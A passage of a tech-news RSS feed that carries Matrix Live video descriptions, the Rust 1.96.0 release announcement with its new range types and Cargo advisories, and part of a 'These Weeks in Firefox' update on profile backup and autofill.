<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 30x - Views:605 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/5Q2vAktusrY?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>In which Matthew gives an update on everything happening in Matrix as of May 2026, including the Spec Core Team and Foundation priorities, Project Hydra to improve federation robustness, how Hydra unlocks vanilla MLS on Matrix, and the resurgence of P2P Matrix!<br />
<br />
Matrix Community Summit: https://matrix-community.events/conferences/2026-summit.html<br />
Schedule: https://openki.matrix-community.events/event/eu43r8WTeHsCMEBsE/the-matrix-spring-update-2026<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
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<item>
<title><![CDATA[Matrix Live S12E10 – Element Demos]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 30x - Views:691 Today Benoit shows us how EX Android supports editing feature before joining, Matthew talks about DMLS, Robin showcases the latest bits of polish to Element Call and Eric talks everything MAS.

This Week in Matrix: https://matrix.org/twim

Find Ma...]]></description>
<link>https://tsecurity.de/de/3693336/videos/matrix-live-s12e10-element-demos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693336/videos/matrix-live-s12e10-element-demos/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:16 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 30x - Views:691 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/0Yr67OT61Vc?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Today Benoit shows us how EX Android supports editing feature before joining, Matthew talks about DMLS, Robin showcases the latest bits of polish to Element Call and Eric talks everything MAS.<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Matrix Live S12E11 – Relay, a brand new and polished macOS client]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 17x - Views:505 Relay is a macOS native Matrix client, written in Swift, and it looks an awful lot like a Matrix-powered iMessage!

Relay room: https://matrix.to/#/#relayapp:matrix.org
Relay repo: https://github.com/subpop/Relay/

This Week in Matrix: https://mat...]]></description>
<link>https://tsecurity.de/de/3693335/videos/matrix-live-s12e11-relay-a-brand-new-and-polished-macos-client/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693335/videos/matrix-live-s12e11-relay-a-brand-new-and-polished-macos-client/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:14 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 17x - Views:505 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/LjciGuYBx-M?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Relay is a macOS native Matrix client, written in Swift, and it looks an awful lot like a Matrix-powered iMessage!<br />
<br />
Relay room: https://matrix.to/#/#relayapp:matrix.org<br />
Relay repo: https://github.com/subpop/Relay/<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Matrix Live S12E12 – Matrix over DMLS]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 30x - Views:552 Matthew gets overexcited about metadata-opaque decentralised MLS with clientside state resolution

This Week in Matrix: https://matrix.org/twim

Find Matrix.org on the internet:
🐘 https://mastodon.matrix.org/@matrix
🤝 https://www.linkedin.com/comp...]]></description>
<link>https://tsecurity.de/de/3693333/videos/matrix-live-s12e12-matrix-over-dmls/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693333/videos/matrix-live-s12e12-matrix-over-dmls/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:12 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 30x - Views:552 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/jc7yfec3iIQ?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Matthew gets overexcited about metadata-opaque decentralised MLS with clientside state resolution<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Matrix Live S12E13 – A Federated Data Marketplace]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 14x - Views:370 Liberbyte is building a federated data platform over Matrix.

🌐 https://www.liberbyte.com

This Week in Matrix: https://matrix.org/twim

Find Matrix.org on the internet:
🐘 https://mastodon.matrix.org/@matrix
🤝 https://www.linkedin.com/company/matr...]]></description>
<link>https://tsecurity.de/de/3693332/videos/matrix-live-s12e13-a-federated-data-marketplace/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693332/videos/matrix-live-s12e13-a-federated-data-marketplace/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:10 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 14x - Views:370 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/szCfpnMKdow?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Liberbyte is building a federated data platform over Matrix.<br />
<br />
🌐 https://www.liberbyte.com<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Matrix Live S12E14 – Andy is the new Thib]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 15x - Views:334 Please meet the new Thib! Andy is joining the Foundation and he will take over Matrix Live, TWIM, and so much more!

This Week in Matrix: https://matrix.org/twim

Find Matrix.org on the internet:
🐘 https://mastodon.matrix.org/@matrix
🤝 https://www...]]></description>
<link>https://tsecurity.de/de/3693330/videos/matrix-live-s12e14-andy-is-the-new-thib/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693330/videos/matrix-live-s12e14-andy-is-the-new-thib/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:09 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 15x - Views:334 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/kUSX1Hm201c?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Please meet the new Thib! Andy is joining the Foundation and he will take over Matrix Live, TWIM, and so much more!<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Matrix Tutorials #15 – Matrix on Kubernetes]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 20x - Views:334 A few years ago we deployed Matrix with docker-compose. Now, let's give it a go on Kubernetes!

00:00 Introduction
01:40 Kubernetes Makes Things Simple
04:59 Getting Started
06:21 Installing Kubernetes
14:41 Deploying and Removing a Wordpress
20:5...]]></description>
<link>https://tsecurity.de/de/3693329/videos/matrix-tutorials-15-matrix-on-kubernetes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693329/videos/matrix-tutorials-15-matrix-on-kubernetes/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:07 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 20x - Views:334 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/mMsyF3bQqWs?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>A few years ago we deployed Matrix with docker-compose. Now, let&#039;s give it a go on Kubernetes!<br />
<br />
00:00 Introduction<br />
01:40 Kubernetes Makes Things Simple<br />
04:59 Getting Started<br />
06:21 Installing Kubernetes<br />
14:41 Deploying and Removing a Wordpress<br />
20:53 Deploying A Matrix Stack<br />
31:02 More Services Almost For Free<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Matrix Live S13E02 - Amandine talks Foundation Mission & Funding and Matthew talks about P2P!]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 30x - Views:475 In which Amandine and Matthew try to cram two entirely unrelated Matrix Lives into one episode - part 1 being about the criticality of funding the Foundation and how we're going about it: part 2 being Matthew banging on about the resurgence of P2P...]]></description>
<link>https://tsecurity.de/de/3693327/videos/matrix-live-s13e02-amandine-talks-foundation-mission-funding-and-matthew-talks-about-p2p/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693327/videos/matrix-live-s13e02-amandine-talks-foundation-mission-funding-and-matthew-talks-about-p2p/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:03 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 30x - Views:475 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/27C5RjRVXzI?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>In which Amandine and Matthew try to cram two entirely unrelated Matrix Lives into one episode - part 1 being about the criticality of funding the Foundation and how we&#039;re going about it: part 2 being Matthew banging on about the resurgence of P2P (see also https://arewep2pyet.com). <br />
<br />
00:00 Intro<br />
02:08 Amandine waxes lyrical about the Foundation<br />
12:39 Matthew enthuses about P2P<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: Announcing Rust 1.96.0]]></title>
<description><![CDATA[The Rust team is happy to announce a new version of Rust, 1.96.0. Rust is a programming language empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, you can get 1.96.0 with:
$ rustup update stable
If you don't have it already,...]]></description>
<link>https://tsecurity.de/de/3693296/tools/the-rust-programming-language-blog-announcing-rust-1960/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693296/tools/the-rust-programming-language-blog-announcing-rust-1960/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:36 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Rust team is happy to announce a new version of Rust, 1.96.0. Rust is a programming language empowering everyone to build reliable and efficient software.</p>
<p>If you have a previous version of Rust installed via <code>rustup</code>, you can get 1.96.0 with:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>$</span><span> rustup update stable</span></span></code></pre>
<p>If you don't have it already, you can <a href="https://www.rust-lang.org/install.html" rel="external">get <code>rustup</code></a> from the appropriate page on our website, and check out the <a href="https://doc.rust-lang.org/stable/releases.html#version-1960-2026-05-28" rel="external">detailed release notes for 1.96.0</a>.</p>
<p>If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel (<code>rustup default beta</code>) or the nightly channel (<code>rustup default nightly</code>). Please <a href="https://github.com/rust-lang/rust/issues/new/choose" rel="external">report</a> any bugs you might come across!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#what-s-in-1-96-0-stable"></a>
What's in 1.96.0 stable</h3>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#new-range-types"></a>
New <code>Range*</code> types</h4>
<p>Many users expect <code>Range</code> and related <code>core::ops</code> types to be <code>Copy</code>, but this is not the case: they implement <code>Iterator</code> directly, and <a href="https://rust-lang.github.io/rust-clippy/rust-1.95.0/index.html#copy_iterator" rel="external">it is a footgun to implement both <code>Iterator</code> and <code>Copy</code> on the same type</a> so this has been avoided. <a href="https://rust-lang.github.io/rfcs/3550-new-range.html" rel="external">RFC3550</a> proposed a set of replacement range types that implement <code>IntoIterator</code> rather than <code>Iterator</code>, meaning they can also be <code>Copy</code>. The standard library portion of that RFC is now stable, introducing:</p>
<ul>
<li><code>core::range::Range</code></li>
<li><code>core::range::RangeFrom</code></li>
<li><code>core::range::RangeInclusive</code></li>
<li>Associated iterators</li>
</ul>
<p>A Rust version in the near future will also add <code>core::range::RangeFull</code> and <code>core::range::RangeTo</code> as re-exports from <code>core::ops</code> (these do not implement <code>Iterator</code> and already implement <code>Copy</code>), and <code>core::range::legacy::*</code> as the new home for the current ranges. Range syntax like <code>0..1</code> still produces the legacy types for now, but will be updated to <code>core::range</code> types in a future edition.</p>
<p>With these stabilizations, it is now possible to store slice accessors in <code>Copy</code> types without splitting <code>start</code> and <code>end</code>:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span class="z-keyword">use</span><span class="z-entity z-name z-namespace"> core</span><span class="z-keyword z-operator">::</span><span class="z-entity z-name z-namespace">range</span><span class="z-keyword z-operator">::</span><span class="z-entity z-name z-type">Range</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>#</span><span>[</span><span>derive</span><span>(</span><span class="z-entity z-name z-type">Clone</span><span>,</span><span class="z-entity z-name z-type"> Copy</span><span>)</span><span>]</span></span>
<span class="giallo-l"><span class="z-keyword">pub</span><span class="z-storage z-type"> struct</span><span class="z-entity z-name z-type"> Span</span><span>(</span><span class="z-entity z-name z-type">Range</span><span>&lt;</span><span class="z-entity z-name z-type">usize</span><span>&gt;</span><span>)</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span class="z-keyword">impl</span><span class="z-entity z-name z-type"> Span</span><span> {</span></span>
<span class="giallo-l"><span class="z-keyword">    pub</span><span class="z-keyword"> fn</span><span class="z-entity z-name z-function"> of</span><span>(</span><span class="z-variable z-language">self</span><span>,</span><span class="z-variable"> s</span><span class="z-keyword z-operator">:</span><span class="z-keyword z-operator"> &amp;</span><span class="z-entity z-name z-type">str</span><span>)</span><span class="z-keyword z-operator"> -&gt;</span><span class="z-keyword z-operator"> &amp;</span><span class="z-entity z-name z-type">str</span><span> {</span></span>
<span class="giallo-l"><span class="z-keyword z-operator">        &amp;</span><span class="z-variable">s</span><span>[</span><span class="z-variable z-language">self</span><span class="z-keyword z-operator">.</span><span class="z-constant z-numeric">0</span><span>]</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>The new <code>RangeInclusive</code> also makes its fields public, unlike the legacy version which avoided exposing the exhausted iterator state. This isn't a concern with the new type since it must be converted to begin iteration.</p>
<p>Library authors should consider making use of <code>impl RangeBounds</code> in public API, which accepts both legacy and new range types. If a concrete type is needed, prefer using new ranges as this will eventually become the default.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#assert-matching-patterns"></a>
Assert matching patterns</h4>
<p>The new macros <code>assert_matches!</code> and <code>debug_assert_matches!</code> check that a value matches a given pattern, panicking with a <code>Debug</code> representation of the value otherwise. These are essentially the same as <code>assert!(matches!(..))</code> and <code>debug_assert!(matches!(..))</code>, but the printed value improves the possibility of diagnosing the failure.</p>
<p>These new macros have not been added to the standard prelude, because they would collide with popular third-party crates that provide macros with the same name. Instead, they should be manually imported from <code>core</code> or <code>std</code> before use.</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span class="z-keyword">use</span><span class="z-entity z-name z-namespace"> core</span><span class="z-keyword z-operator">::</span><span>assert_matches</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">///</span><span class="z-comment"> [Random Number](https://xkcd.com/221/)</span></span>
<span class="giallo-l"><span class="z-keyword">fn</span><span class="z-entity z-name z-function"> get_random_number</span><span>(</span><span>)</span><span class="z-keyword z-operator"> -&gt;</span><span class="z-entity z-name z-type"> u32</span><span> {</span></span>
<span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">    //</span><span class="z-comment z-line z-double-slash z-comment"> chosen by a fair dice roll.</span></span>
<span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">    //</span><span class="z-comment z-line z-double-slash z-comment"> guaranteed to be random.</span></span>
<span class="giallo-l"><span class="z-constant z-numeric">    4</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span class="z-keyword">fn</span><span class="z-entity z-name z-function"> main</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span class="z-entity z-name z-function">    assert_matches!</span><span>(</span><span class="z-entity z-name z-function">get_random_number</span><span>(</span><span>)</span><span>,</span><span class="z-constant z-numeric"> 1</span><span class="z-keyword z-operator">..=</span><span class="z-constant z-numeric">6</span><span>)</span><span>;</span></span>
<span class="giallo-l"><span>}</span></span></code></pre><h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#changes-to-webassembly-targets"></a>
Changes to WebAssembly targets</h4>
<p>WebAssembly targets no longer pass <code>--allow-undefined</code> to the linker which means that undefined symbols when linking are now a linker error instead of being converted to WebAssembly imports from the <code>"env"</code> module. This change prevents modules from linking unless all linking-related symbols are defined to catch bugs earlier and prevent accidental issues with symbol naming or similar.</p>
<p>Undefined linking-related symbols are often indicative of build-time related bugs or misconfiguration. If, however, the old behavior is intended then it can be re-enabled with <code>RUSTFLAGS=-Clink-arg=--allow-undefined</code> or by editing the source code and using <code>#[link(wasm_import_module = "env")]</code> on the block defining the symbol.</p>
<p>This change was <a href="https://blog.rust-lang.org/2026/04/04/changes-to-webassembly-targets-and-handling-undefined-symbols/" rel="external">previously announced</a> on this blog, and now takes effect in Rust 1.96.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#stabilized-apis"></a>
Stabilized APIs</h4>
<ul>
<li><a href="https://doc.rust-lang.org/stable/std/macro.assert_matches.html" rel="external"><code>assert_matches!</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/macro.debug_assert_matches.html" rel="external"><code>debug_assert_matches!</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/panic/struct.AssertUnwindSafe.html#impl-From%3CT%3E-for-AssertUnwindSafe%3CT%3E" rel="external"><code>From&lt;T&gt; for AssertUnwindSafe&lt;T&gt;</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/cell/struct.LazyCell.html#impl-From%3CT%3E-for-LazyCell%3CT,+F%3E" rel="external"><code>From&lt;T&gt; for LazyCell&lt;T, F&gt;</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/sync/struct.LazyLock.html#impl-From%3CT%3E-for-LazyLock%3CT,+F%3E" rel="external"><code>From&lt;T&gt; for LazyLock&lt;T, F&gt;</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.RangeToInclusive.html" rel="external"><code>core::range::RangeToInclusive</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.RangeFrom.html" rel="external"><code>core::range::RangeFrom</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.RangeFromIter.html" rel="external"><code>core::range::RangeFromIter</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.Range.html" rel="external"><code>core::range::Range</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.RangeIter.html" rel="external"><code>core::range::RangeIter</code></a></li>
</ul>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#two-cargo-advisories"></a>
Two Cargo advisories</h4>
<p>Rust 1.96 contains fixes for two vulnerabilities for users of third-party registries.</p>
<ul>
<li>
<p><a href="https://blog.rust-lang.org/2026/05/25/cve-2026-5223/" rel="external">CVE-2026-5223</a> is a <strong>medium</strong> severity vulnerability regarding extraction of crate tarballs with symlinks.</p>
</li>
<li>
<p><a href="https://blog.rust-lang.org/2026/05/25/cve-2026-5222/" rel="external">CVE-2026-5222</a> is a <strong>low</strong> severity vulnerability regarding authentication with normalized URLs.</p>
</li>
</ul>
<p>Users of crates.io are <strong>not affected</strong> by either vulnerability.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#other-changes"></a>
Other changes</h4>
<p>Check out everything that changed in <a href="https://github.com/rust-lang/rust/releases/tag/1.96.0" rel="external">Rust</a>, <a href="https://doc.rust-lang.org/nightly/cargo/CHANGELOG.html#cargo-196-2026-05-28" rel="external">Cargo</a>, and <a href="https://github.com/rust-lang/rust-clippy/blob/master/CHANGELOG.md#rust-196" rel="external">Clippy</a>.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#contributors-to-1-96-0"></a>
Contributors to 1.96.0</h3>
<p>Many people came together to create Rust 1.96.0. We couldn't have done it without all of you. <a href="https://thanks.rust-lang.org/rust/1.96.0/" rel="external">Thanks!</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202]]></title>
<description><![CDATA[Highlights

The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!

This feature, when enabled, will create a copy of your profile data in th...]]></description>
<link>https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:35 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!
<ul>
<li>This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.</li>
<li>You will be able to manage this feature in Settings under Sync (for now)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image6.png"><img alt="Firefox settings page showing the Backup feature in dark mode. Backup is enabled, with details of the most recent backup and a “Backup now” button. The page displays the backup file name and a backup location folder path, along with “Choose…” and “Show in folder” buttons. A “Sensitive data” section includes an option to back up passwords and payment methods with encryption, and a disabled “Change password” button." class="aligncenter size-full wp-image-2074" height="517" src="https://blog.nightly.mozilla.org/files/2026/06/image6.png" width="657"></a></li>
</ul>
</li>
<li><a href="https://support.mozilla.org/kb/firefox-backup">You can read more about the feature here</a></li>
</ul>
</li>
<li>As followups to the recent addition to the WebExtension tabs API to <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API#working_with_tab_split_views">support the new SplitView tabs feature</a>, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029099"> Bug 2029099</a> /<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029534"> Bug 2029534</a></li>
<li>Adaptive autofill has been enabled on Nightly.
<ul>
<li>Previously, autofill only completed domains (e.g. typing red autofilled<a href="http://reddit.com/"> reddit.com</a>). Now it can also complete full URLs for pages you visit often (e.g. red →<a href="http://reddit.com/r/firefox"> reddit.com/r/firefox</a>), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.
<ul>
<li>If you run into issues or have feedback, <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&amp;component=Address+Bar">you can file a bug here</a>!</li>
</ul>
</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=293943">Markus Stange [:mstange]</a> implemented dynamic toolbar on top in RDM (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1978145">#1978145</a>), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android
<ul>
<li>dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled</li>
<li>it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image1.png"><img alt="Firefox Responsive Design Mode on Desktop displaying the Mozilla homepage in a mobile viewport. The toolbar at the top shows a simulated Android device (including the dynamic toolbar) with a viewport size of 376 × 464 pixels and a device pixel ratio of 3. The page content is shown in French, featuring the Mozilla logo, a “Menu” link, a “Pause animation” button, and the headline “Bienvenue chez Mozilla” with accompanying text about trusted technology and digital rights." class="aligncenter size-full wp-image-2069" height="1113" src="https://blog.nightly.mozilla.org/files/2026/06/image1.png" width="882"></a></li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h3><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=958957%2C1876109%2C1997388%2C2000797%2C1950995%2C1986020%2C2018272%2C2018276%2C2021681%2C2027969%2C2022115%2C1999012%2C2016058%2C2026585%2C2023913%2C2028167%2C2028293%2C2028927%2C1998002%2C2011343%2C1997925%2C2026574%2C2029398%2C2029684%2C1948019%2C2008756%2C2022601%2C2026032%2C2030428%2C1968244%2C1975391%2C944228%2C1962904%2C1977741%2C1997346%2C2027867%2C2030631%2C1807516%2C2030998%2C2030999%2C2015491%2C2028153%2C2028628%2C1978290%2C2008128%2C2024033%2C1883497%2C1984679%2C2030069%2C2031162%2C2031598%2C2012399%2C2031116%2C2031128%2C2031931%2C2031961%2C2033173%2C2032997%2C1919387%2C1947679%2C2027915%2C2032196%2C2019561%2C2024187%2C1392125%2C1993844%2C2027060%2C1983408%2C2034178%2C1873954%2C1875083%2C2008119%2C2008197%2C1628669%2C2031599%2C2033820">Resolved bugs (excluding employees)</a></h3>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>aoia7rz7l</li>
<li>Chukwuka Rosemary</li>
<li>DrSeed</li>
<li>Frédéric Wang Nélar</li>
<li>japandi</li>
<li>John Iweh</li>
<li>jonathancabera</li>
<li>Josh Aas</li>
<li>Keji Bakare</li>
<li>kofoworola shonuyi</li>
<li>konyhéa</li>
<li>liz</li>
<li>Mathew Hodson</li>
<li>Okhuomon Ajayi</li>
<li>Oluwatobi</li>
<li>ROSHAAN</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> Anthony Mclamb:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915"> Disable the legacy Edge migrator</a></li>
<li> Amin Amir
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
<li>🌟 Amine Zroual:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Omitted maxResults property not handled correctly in getRecentlyClosed</a></li>
</ul>
</li>
<li>any1here:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031162"> install_sig_alt_stack incorrectly checks mmap’s return value</a></li>
